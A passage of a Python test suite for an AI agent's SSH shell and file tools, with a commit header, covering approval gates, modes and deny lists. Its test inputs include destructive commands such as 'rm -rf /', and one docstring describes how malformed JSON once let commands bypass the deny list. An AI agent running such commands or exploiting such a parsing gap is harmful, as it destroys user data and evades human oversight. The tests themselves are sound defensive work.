Homer
e970f10cca
The first audit pass: everything from 0.8.1 to 0.9.8 read as a whole rather than one feature at a time, starting with what a model is actually told. Four of these had shipped as correct. The date line carried a timezone variable that resolves to nothing until somebody chooses one -- so every default account was told times were "in unless they say otherwise", while two comments asserted the line disappeared instead. The prompt preview built its variables without a chat, which is what eleven fragments are gated on, so the whole agent surface was absent from it whatever was ticked. Plan mode was instructed to keep its plan current with a tool that mode withdraws. And knowledge_get returned a document whole where every sibling reader caps and says so, its description promising exactly that. The subagent guidance was wrong in both directions at once: it denied a documented parameter and named seven of twenty-three allowed commands. Both halves are pinned by tests against the real list and the real schema now, because prose and a constant drift the moment one is edited alone. docs/notes/audit-0.9.md carries the findings that are not fixed here, with why -- the ones whose fix would change what a feature does are the user's call, not this pass's. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
1729 lines
65 KiB
Python
1729 lines
65 KiB
Python
"""The agent tools: when they are offered, and what stops them running.
|
|
|
|
Everything here goes through a real SSH server on 127.0.0.1, so the gate and the
|
|
approval loop are exercised against something that genuinely executes rather
|
|
than a stub that always agrees.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import asyncio
|
|
import json as _json
|
|
import time
|
|
|
|
import pytest
|
|
from sqlalchemy import select
|
|
|
|
from lembas.db.models import (
|
|
KIND_AGENT,
|
|
ROLE_ASSISTANT,
|
|
Chat,
|
|
Connection,
|
|
Message,
|
|
Model,
|
|
SshProfile,
|
|
User,
|
|
)
|
|
from lembas.services import generation as generation_service
|
|
from lembas.services import interaction, settings_store
|
|
from lembas.services import tools as tools_service
|
|
from lembas.services.agent import policy, session
|
|
from lembas.services.agent import ssh as ssh_service
|
|
from lembas.services.tools import RISK_EXECUTE
|
|
|
|
asyncssh = pytest.importorskip("asyncssh")
|
|
|
|
|
|
# --- A machine to act on --------------------------------------------------------
|
|
class _Server(asyncssh.SSHServer):
|
|
def begin_auth(self, username: str) -> bool:
|
|
return False
|
|
|
|
|
|
async def _handler(process):
|
|
command = process.command or ""
|
|
process.stdout.write(f"ran: {command}\n")
|
|
process.exit(0)
|
|
|
|
|
|
@pytest.fixture
|
|
async def machine(tmp_path):
|
|
"""A real sshd, and a profile pointing at it with its key already pinned."""
|
|
project = tmp_path / "project"
|
|
project.mkdir()
|
|
|
|
server = await asyncssh.create_server(
|
|
_Server,
|
|
"127.0.0.1",
|
|
0,
|
|
server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
|
|
process_factory=_handler,
|
|
sftp_factory=True,
|
|
)
|
|
port = next(iter(server.sockets)).getsockname()[1]
|
|
line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
|
|
try:
|
|
yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)}
|
|
finally:
|
|
server.close()
|
|
await server.wait_closed()
|
|
|
|
|
|
def _setup(db, user_id, machine, *, mode=policy.MODE_MANUAL, enabled=True, kind=KIND_AGENT):
|
|
"""An agent chat pointed at the machine, with the feature switched on."""
|
|
settings_store.update(db, {"enabled": enabled}, key=settings_store.AGENTS)
|
|
|
|
profile = SshProfile(
|
|
owner_id=user_id,
|
|
name="Test box",
|
|
host="127.0.0.1",
|
|
port=machine["port"],
|
|
username="tester",
|
|
host_key=machine["host_key"],
|
|
host_fingerprint=machine["fingerprint"],
|
|
default_dir=machine["dir"],
|
|
)
|
|
db.add(profile)
|
|
db.commit()
|
|
|
|
connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
|
|
db.add(connection)
|
|
db.commit()
|
|
db.add(
|
|
Model(
|
|
connection_id=connection.id,
|
|
model_id="m",
|
|
capabilities_json={"tools": True},
|
|
)
|
|
)
|
|
db.commit()
|
|
|
|
chat = Chat(
|
|
user_id=user_id,
|
|
model_id="m",
|
|
connection_id=connection.id,
|
|
kind=kind,
|
|
ssh_profile_id=profile.id,
|
|
project_dir=machine["dir"],
|
|
agent_mode=mode,
|
|
)
|
|
db.add(chat)
|
|
db.commit()
|
|
return chat, profile
|
|
|
|
|
|
def _offered(db, chat, user) -> set[str]:
|
|
return set(tools_service.resolve_tools(db, chat, user).by_name)
|
|
|
|
|
|
# --- The gate --------------------------------------------------------------------
|
|
async def test_the_agent_tools_are_offered_to_an_agent_chat(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
names = _offered(db, chat, db.get(User, user_id))
|
|
|
|
assert {"shell_run", "file_read", "file_write", "file_list"} <= names
|
|
|
|
|
|
async def test_an_ordinary_chat_gets_none_of_them(db, user_id, machine):
|
|
"""A plain conversation can never shell out, whatever it is asked."""
|
|
chat, _profile = _setup(db, user_id, machine, kind="chat")
|
|
assert "shell_run" not in _offered(db, chat, db.get(User, user_id))
|
|
|
|
|
|
async def test_nothing_is_offered_while_the_feature_is_off(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine, enabled=False)
|
|
assert "shell_run" not in _offered(db, chat, db.get(User, user_id))
|
|
|
|
|
|
async def test_nothing_is_offered_without_the_permission(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
user = db.get(User, user_id)
|
|
user.role = "user" # administrators pass everything
|
|
settings_store.update(db, {"default_permissions": {"tools.agent": False}})
|
|
db.commit()
|
|
|
|
assert "shell_run" not in _offered(db, chat, user)
|
|
|
|
|
|
async def test_nothing_is_offered_without_the_model_capability(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine)
|
|
model = db.scalar(tools_service.select(Model))
|
|
model.capabilities_json = {"tools": True, "tool_agent": False}
|
|
db.commit()
|
|
|
|
assert "shell_run" not in _offered(db, chat, db.get(User, user_id))
|
|
|
|
|
|
async def test_a_disabled_connection_takes_the_tools_away(db, user_id, machine):
|
|
"""Offering a tool that fails on its first call is worse than not offering
|
|
it, so every "no" collapses to an empty list."""
|
|
chat, profile = _setup(db, user_id, machine)
|
|
profile.enabled = False
|
|
db.commit()
|
|
|
|
assert "shell_run" not in _offered(db, chat, db.get(User, user_id))
|
|
|
|
|
|
async def test_somebody_elses_connection_is_not_reachable(db, user_id, machine):
|
|
from lembas.security.passwords import hash_password
|
|
|
|
chat, profile = _setup(db, user_id, machine)
|
|
intruder = User(name="Sam", email="s@shire.test", password_hash=hash_password("x"))
|
|
intruder.role = "user"
|
|
db.add(intruder)
|
|
db.commit()
|
|
|
|
assert session.resolve(db, chat, intruder) is None
|
|
|
|
|
|
# --- Running something -----------------------------------------------------------
|
|
async def test_a_command_runs_on_the_machine(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context, "shell_run", '{"command": "echo hello"}'
|
|
)
|
|
assert outcome.event["status"] == "ok"
|
|
assert "echo hello" in outcome.content
|
|
|
|
|
|
async def test_files_are_written_and_read_back(db, user_id, machine, tmp_path):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
await tools_service.run_tool(
|
|
context, "file_write", '{"path": "note.txt", "content": "a mallorn tree"}'
|
|
)
|
|
assert (tmp_path / "project" / "note.txt").read_text() == "a mallorn tree"
|
|
|
|
read = await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
assert "mallorn" in read.content
|
|
|
|
listed = await tools_service.run_tool(context, "file_list", "{}")
|
|
assert "note.txt" in listed.content
|
|
|
|
|
|
# --- Changing part of a file -------------------------------------------------------
|
|
def _context(db, user_id, machine, **kwargs):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO, **kwargs)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
return tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
|
|
async def test_editing_a_file_that_was_not_read_is_refused(db, user_id, machine, tmp_path):
|
|
"""Both halves matter. The wording is what the model acts on; that nothing
|
|
was written is the actual guarantee."""
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
|
)
|
|
|
|
assert outcome.content.startswith("Read the file first!")
|
|
assert outcome.event["status"] == "error"
|
|
assert (tmp_path / "project" / "note.txt").read_text() == "alpha\nbeta\n"
|
|
|
|
|
|
async def test_reading_then_editing_writes_the_new_text(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\ngamma\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps(
|
|
{"path": "note.txt", "patch": "@@ -1,3 +1,3 @@\n alpha\n-beta\n+BETA\n gamma\n"}
|
|
),
|
|
)
|
|
|
|
assert outcome.event["status"] == "ok"
|
|
assert (tmp_path / "project" / "note.txt").read_text() == "alpha\nBETA\ngamma\n"
|
|
|
|
|
|
async def test_a_relative_and_an_absolute_path_are_the_same_file(db, user_id, machine, tmp_path):
|
|
"""`./note.txt` read and `note.txt` edited has to count as having read it,
|
|
or the check refuses the very thing it was meant to permit."""
|
|
target = tmp_path / "project" / "note.txt"
|
|
target.write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "./note.txt"}')
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": str(target), "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+BETA\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "ok", outcome.content
|
|
|
|
|
|
async def test_a_failed_hunk_names_it_and_writes_nothing(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n nope\n-wrong\n+x\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "error"
|
|
assert "Hunk 1" in outcome.content
|
|
assert (tmp_path / "project" / "note.txt").read_text() == "alpha\nbeta\n"
|
|
|
|
|
|
async def test_a_write_counts_as_having_read_it(db, user_id, machine, tmp_path):
|
|
"""`_run_write` reads the old content for its diff anyway, so write-then-edit
|
|
works in one reply without a second round trip."""
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(
|
|
context, "file_write", '{"path": "new.txt", "content": "one\\ntwo\\n"}'
|
|
)
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "new.txt", "patch": "@@ -1,2 +1,2 @@\n one\n-two\n+TWO\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "ok", outcome.content
|
|
assert (tmp_path / "project" / "new.txt").read_text() == "one\nTWO\n"
|
|
|
|
|
|
async def test_the_read_set_survives_an_approval(db, user_id, machine, tmp_path):
|
|
"""`as_approved` is `dataclasses.replace`, which copies field *references*,
|
|
so the set is shared with the per-call copy a runner actually gets. That is
|
|
wanted, and it is not obvious enough to leave unpinned."""
|
|
from dataclasses import replace
|
|
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
approved = replace(context, agent=context.agent.as_approved())
|
|
|
|
await tools_service.run_tool(approved, "file_read", '{"path": "note.txt"}')
|
|
|
|
assert context.agent.read_paths, "the read done under approval is not visible"
|
|
|
|
|
|
async def test_an_edit_that_changes_nothing_says_so(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps({"path": "note.txt", "patch": "@@ -1,2 +1,2 @@\n alpha\n-beta\n+beta\n"}),
|
|
)
|
|
|
|
assert outcome.event["status"] == "ok"
|
|
assert "changes nothing" in outcome.content
|
|
|
|
|
|
# --- The diff on the event ------------------------------------------------------------
|
|
async def test_an_edit_carries_a_diff(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\ngamma\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
await tools_service.run_tool(context, "file_read", '{"path": "note.txt"}')
|
|
outcome = await tools_service.run_tool(
|
|
context,
|
|
"file_edit",
|
|
_json.dumps(
|
|
{"path": "note.txt", "patch": "@@ -1,3 +1,3 @@\n alpha\n-beta\n+BETA\n gamma\n"}
|
|
),
|
|
)
|
|
|
|
diff = outcome.event["diff"]
|
|
assert "-beta" in diff
|
|
assert "+BETA" in diff
|
|
|
|
|
|
async def test_writing_a_new_file_shows_it_as_all_additions(db, user_id, machine):
|
|
"""Which is what git does, and the right display."""
|
|
context = _context(db, user_id, machine)
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context, "file_write", '{"path": "fresh.txt", "content": "one\\ntwo\\n"}'
|
|
)
|
|
|
|
body = [
|
|
line
|
|
for line in outcome.event["diff"].split("\n")
|
|
if line and not line.startswith(("@@", "+++", "---"))
|
|
]
|
|
assert body and all(line.startswith("+") for line in body), body
|
|
|
|
|
|
async def test_overwriting_a_file_shows_what_changed(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "note.txt").write_text("alpha\nbeta\n")
|
|
context = _context(db, user_id, machine)
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context, "file_write", '{"path": "note.txt", "content": "alpha\\nBETA\\n"}'
|
|
)
|
|
|
|
assert "-beta" in outcome.event["diff"]
|
|
assert "+BETA" in outcome.event["diff"]
|
|
|
|
|
|
async def test_a_file_too_big_to_read_is_written_without_a_diff(db, user_id, machine, tmp_path):
|
|
"""A truncated original would invent deletions of the tail, which is worse
|
|
than showing no diff at all."""
|
|
from lembas.services import settings_store as store
|
|
|
|
store.update(db, {"max_output_bytes": 1024}, key=store.AGENTS)
|
|
(tmp_path / "project" / "big.txt").write_text("x" * 4000)
|
|
context = _context(db, user_id, machine)
|
|
|
|
outcome = await tools_service.run_tool(
|
|
context, "file_write", '{"path": "big.txt", "content": "small"}'
|
|
)
|
|
|
|
assert outcome.event["status"] == "ok"
|
|
assert "diff" not in outcome.event
|
|
|
|
|
|
async def test_writing_a_file_drops_the_project_listing(db, user_id, machine):
|
|
"""Otherwise the model is shown a five-minute-old tree that it knows is
|
|
wrong, and concludes the file it has just created does not exist.
|
|
|
|
The TTL is for drift nobody can see coming. This is not that: it is this
|
|
process changing the tree it has just described.
|
|
"""
|
|
from lembas.services.agent import index as index_service
|
|
|
|
chat, profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
index_service._CACHE[(profile.id, machine["dir"])] = index_service.ProjectIndex(
|
|
paths=("stale.txt",), total=1, source="git", built_at=time.monotonic()
|
|
)
|
|
|
|
await tools_service.run_tool(
|
|
context, "file_write", '{"path": "fresh.txt", "content": "hi"}'
|
|
)
|
|
|
|
assert index_service.cached(profile.id, machine["dir"]) is None
|
|
|
|
|
|
# --- The runner backstop ----------------------------------------------------------
|
|
async def test_a_runner_refuses_what_the_mode_forbids(db, user_id, machine):
|
|
"""`_authorise` is the real gate and runs first. This is the belt to that
|
|
brace: a call arriving by some other path -- a retry, a re-run button --
|
|
must not walk past it."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
outcome = await tools_service.run_tool(context, "shell_run", '{"command": "rm -rf /"}')
|
|
assert outcome.event["status"] == "error"
|
|
assert "not allowed" in outcome.content.lower()
|
|
|
|
|
|
async def test_plan_mode_still_reads(db, user_id, machine, tmp_path):
|
|
(tmp_path / "project" / "readme.txt").write_text("contents")
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_PLAN)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
outcome = await tools_service.run_tool(context, "file_read", '{"path": "readme.txt"}')
|
|
assert outcome.event["status"] == "ok"
|
|
assert "contents" in outcome.content
|
|
|
|
|
|
async def test_edit_mode_writes_but_will_not_run(db, user_id, machine):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
user = db.get(User, user_id)
|
|
resolved = tools_service.resolve_tools(db, chat, user)
|
|
context = tools_service.context_for(db, user, chat, tools=resolved)
|
|
|
|
wrote = await tools_service.run_tool(
|
|
context, "file_write", '{"path": "x.txt", "content": "hi"}'
|
|
)
|
|
assert wrote.event["status"] == "ok"
|
|
|
|
ran = await tools_service.run_tool(context, "shell_run", '{"command": "ls"}')
|
|
assert ran.event["status"] == "error"
|
|
|
|
|
|
# --- The approval card in the loop -------------------------------------------------
|
|
def _chunk(name: str, arguments: str, *, call_id="c1", index=0):
|
|
return {
|
|
"choices": [
|
|
{
|
|
"delta": {
|
|
"tool_calls": [
|
|
{
|
|
"index": index,
|
|
"id": call_id,
|
|
"function": {"name": name, "arguments": arguments},
|
|
}
|
|
]
|
|
}
|
|
}
|
|
]
|
|
}
|
|
|
|
|
|
def _text(text: str) -> dict:
|
|
return {"choices": [{"delta": {"content": text}}]}
|
|
|
|
|
|
def _stub_stream(rounds, seen):
|
|
async def stream_chat(_endpoint, payload):
|
|
seen.append(payload)
|
|
for chunk in rounds[min(len(seen) - 1, len(rounds) - 1)]:
|
|
yield chunk
|
|
|
|
return stream_chat
|
|
|
|
|
|
async def _until_paused(generation, *, timeout: float = 3.0):
|
|
deadline = asyncio.get_running_loop().time() + timeout
|
|
while asyncio.get_running_loop().time() < deadline:
|
|
if generation.pending is not None:
|
|
return generation.pending
|
|
await asyncio.sleep(0.01)
|
|
raise AssertionError("the reply never paused for approval")
|
|
|
|
|
|
def _pending_reply(db, chat):
|
|
db.add(Message(chat_id=chat.id, role="user", content="do it", complete=True))
|
|
db.commit()
|
|
assistant = Message(chat_id=chat.id, role=ROLE_ASSISTANT, content="", complete=False)
|
|
db.add(assistant)
|
|
db.commit()
|
|
return assistant.id
|
|
|
|
|
|
async def test_a_command_waits_for_approval_and_the_card_shows_it(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[[_chunk("shell_run", '{"command": "rm -rf /tmp/x"}')], [_text("Done.")]], []
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
|
|
assert pending.kind == interaction.KIND_APPROVAL
|
|
item = pending.items[0]
|
|
# The exact command, verbatim. A card that paraphrased it would be
|
|
# approving something other than what runs.
|
|
assert item.detail == "rm -rf /tmp/x"
|
|
assert "Test box" in item.title
|
|
assert "Manual" in item.reason
|
|
|
|
pending.resolve(interaction.DENY)
|
|
await task
|
|
|
|
|
|
async def test_malformed_arguments_still_show_the_command_that_will_run(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""The card and the runner read the same parsed arguments.
|
|
|
|
They used to disagree: the card did a plain `json.loads` and showed `{}` on
|
|
failure, while `run_tool` put the raw string into the tool's first required
|
|
parameter -- `command` -- and ran it. So a model emitting invalid JSON got a
|
|
card headed "Run a command" with an empty body, and Allow ran something the
|
|
reader was never shown.
|
|
"""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
|
|
assert pending.items[0].detail == "rm -rf /tmp/x"
|
|
|
|
pending.resolve(interaction.DENY)
|
|
await task
|
|
|
|
|
|
async def test_the_card_carries_what_the_model_said_it_was_doing(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""`why` is the model's account; `reason` is ours. Both, and kept apart."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[
|
|
_chunk(
|
|
"shell_run",
|
|
'{"command": "pytest -q", "why": "Checking the change did not '
|
|
'break anything."}',
|
|
)
|
|
],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
|
|
item = pending.items[0]
|
|
assert item.purpose == "Checking the change did not break anything."
|
|
assert item.detail == "pytest -q", "the command is still the thing being agreed to"
|
|
assert "Manual" in item.reason, "our reason for stopping is separate from theirs"
|
|
|
|
pending.resolve(interaction.DENY)
|
|
await task
|
|
|
|
|
|
async def test_the_transcript_keeps_the_explanation(db, user_id, machine, monkeypatch):
|
|
"""Auto mode stops for nothing, so the event is the only place a reader ever
|
|
sees what a command was for."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("shell_run", '{"command": "ls", "why": "Seeing what is here."}')],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
assert generation.tool_events[0]["why"] == "Seeing what is here."
|
|
|
|
|
|
async def test_a_call_without_an_explanation_carries_no_empty_one(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""Absent stays absent. An empty string on every event would render a blank
|
|
second line under every command in the transcript."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream([[_chunk("shell_run", '{"command": "ls"}')], [_text("Done.")]], []),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await generation_service._run(generation)
|
|
|
|
assert "why" not in generation.tool_events[0]
|
|
|
|
|
|
async def test_malformed_arguments_are_still_checked_against_the_deny_list(
|
|
db, user_id, machine, monkeypatch
|
|
):
|
|
"""The consequence of the above, in the mode where it matters.
|
|
|
|
In Auto nothing is shown first, so a command the card could not describe was
|
|
also a command `policy.decide` was handed as "" -- matching neither list and
|
|
falling through to the mode, which is ALLOW. Invalid JSON was a way past the
|
|
deny list.
|
|
"""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
settings_store.update(db, {"deny_default": ["rm *"]}, key=settings_store.AGENTS)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
|
|
assert "rm *" in pending.items[0].reason
|
|
|
|
pending.resolve(interaction.DENY)
|
|
await task
|
|
|
|
|
|
async def test_denying_reaches_the_model_as_words_and_runs_nothing(
|
|
db, user_id, machine, monkeypatch, tmp_path
|
|
):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
message_id = _pending_reply(db, chat)
|
|
payloads: list[dict] = []
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("file_write", '{"path": "never.txt", "content": "nope"}')],
|
|
[_text("Understood.")],
|
|
],
|
|
payloads,
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
pending.resolve(interaction.DENY)
|
|
await task
|
|
|
|
turns = [m for m in payloads[1]["messages"] if m.get("role") == "tool"]
|
|
assert "declined" in turns[0]["content"].lower()
|
|
# And it says not to look for another way round, because a model reads
|
|
# "not allowed" as "not allowed like that" otherwise.
|
|
assert "another way" in turns[0]["content"]
|
|
assert not (tmp_path / "project" / "never.txt").exists()
|
|
|
|
|
|
async def test_allowing_runs_it(db, user_id, machine, monkeypatch, tmp_path):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL)
|
|
message_id = _pending_reply(db, chat)
|
|
payloads: list[dict] = []
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("file_write", '{"path": "yes.txt", "content": "written"}')],
|
|
[_text("Done.")],
|
|
],
|
|
payloads,
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
task = asyncio.create_task(generation_service._run(generation))
|
|
pending = await _until_paused(generation)
|
|
pending.resolve(interaction.ALLOW)
|
|
await task
|
|
|
|
assert (tmp_path / "project" / "yes.txt").read_text() == "written"
|
|
|
|
|
|
async def test_auto_mode_never_pauses(db, user_id, machine, monkeypatch, tmp_path):
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO)
|
|
message_id = _pending_reply(db, chat)
|
|
monkeypatch.setattr(
|
|
generation_service,
|
|
"stream_chat",
|
|
_stub_stream(
|
|
[
|
|
[_chunk("file_write", '{"path": "auto.txt", "content": "no asking"}')],
|
|
[_text("Done.")],
|
|
],
|
|
[],
|
|
),
|
|
)
|
|
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
await asyncio.wait_for(generation_service._run(generation), timeout=10)
|
|
|
|
assert generation.pending is None
|
|
assert (tmp_path / "project" / "auto.txt").read_text() == "no asking"
|
|
|
|
|
|
# --- "Always allow this" ---------------------------------------------------------
|
|
# Answered over the TestClient against a pause registered by hand, rather than by
|
|
# running a generation: a future belongs to the loop that made it and TestClient
|
|
# runs the app on its own, which is the same reason
|
|
# `test_another_account_cannot_answer_your_question` builds its pause this way.
|
|
# The route reads the items *before* resolving, which is the half being tested.
|
|
def _approval_pause(chat, message_id, *, tool_name="shell_run", detail="git status"):
|
|
pause = interaction.Interruption(
|
|
id="pause-always",
|
|
items=(
|
|
interaction.Item(
|
|
index=0,
|
|
key="a0",
|
|
kind=interaction.KIND_APPROVAL,
|
|
tool_name=tool_name,
|
|
title=f"Run a command on {chat.title or 'Box'}",
|
|
detail=detail,
|
|
),
|
|
),
|
|
)
|
|
generation = generation_service.Generation(chat_id=chat.id, message_id=message_id)
|
|
generation.pending = pause
|
|
generation_service._RUNNING[message_id] = generation
|
|
return pause
|
|
|
|
|
|
def test_always_allow_records_the_command_and_stops_asking(
|
|
client, db, registered, user_id, machine
|
|
):
|
|
"""It used to be byte-for-byte "Allow": the verdict was accepted, treated as
|
|
permitted, and stored nowhere, so the very next identical command asked
|
|
again. A button that promises a standing decision and keeps none is the
|
|
silent control this codebase keeps cataloguing."""
|
|
chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT)
|
|
message_id = _pending_reply(db, chat)
|
|
pause = _approval_pause(chat, message_id)
|
|
try:
|
|
client.post(
|
|
f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"}
|
|
)
|
|
finally:
|
|
generation_service._RUNNING.pop(message_id, None)
|
|
|
|
db.refresh(chat)
|
|
assert tools_service.scoped_allow(chat) == ("git status",)
|
|
|
|
# And it is in force from the next reply: the context is resolved per reply,
|
|
# so the list reaches `policy.decide` through `AgentContext.allow`.
|
|
context = session.resolve(db, chat, db.get(User, user_id))
|
|
assert "git status" in context.allow
|
|
assert (
|
|
policy.decide(
|
|
mode=policy.MODE_EDIT,
|
|
risk=RISK_EXECUTE,
|
|
tool_name="shell_run",
|
|
command="git status",
|
|
allow=context.allow,
|
|
deny=context.deny,
|
|
).verdict
|
|
== policy.ALLOW
|
|
)
|
|
|
|
|
|
|
|
def test_always_allow_never_stores_a_composed_command(
|
|
client, db, registered, user_id, machine
|
|
):
|
|
"""`policy.subject` refuses to normalise a command line carrying a shell
|
|
metacharacter, and that is exactly the shape that must not become a standing
|
